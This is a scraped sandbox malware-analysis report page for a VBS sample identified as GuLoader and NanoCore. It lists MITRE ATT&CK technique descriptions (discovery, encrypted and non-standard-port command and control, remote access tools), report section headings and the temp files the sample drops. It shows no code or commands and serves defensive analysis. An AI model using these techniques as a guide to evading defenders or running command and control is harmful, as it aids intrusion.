Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report IMG 0045434.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Threatname: NanoCore

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

AV Detection

E-Banking Fraud

System Summary

Stealing of Sensitive Information

Remote Access Functionality

Jbx Signature Overview

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\caspol.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\dslmon.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\3rumnuxb.0.cs

C:\Users\user\AppData\Local\Temp\3rumnuxb.cmdline

C:\Users\user\AppData\Local\Temp\3rumnuxb.dll

C:\Users\user\AppData\Local\Temp\3rumnuxb.out

C:\Users\user\AppData\Local\Temp\CSC12B2DF4544A1496EA7EB89E07B3D3FC6.TMP

Windows Analysis Report
IMG 0045434.vbs

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre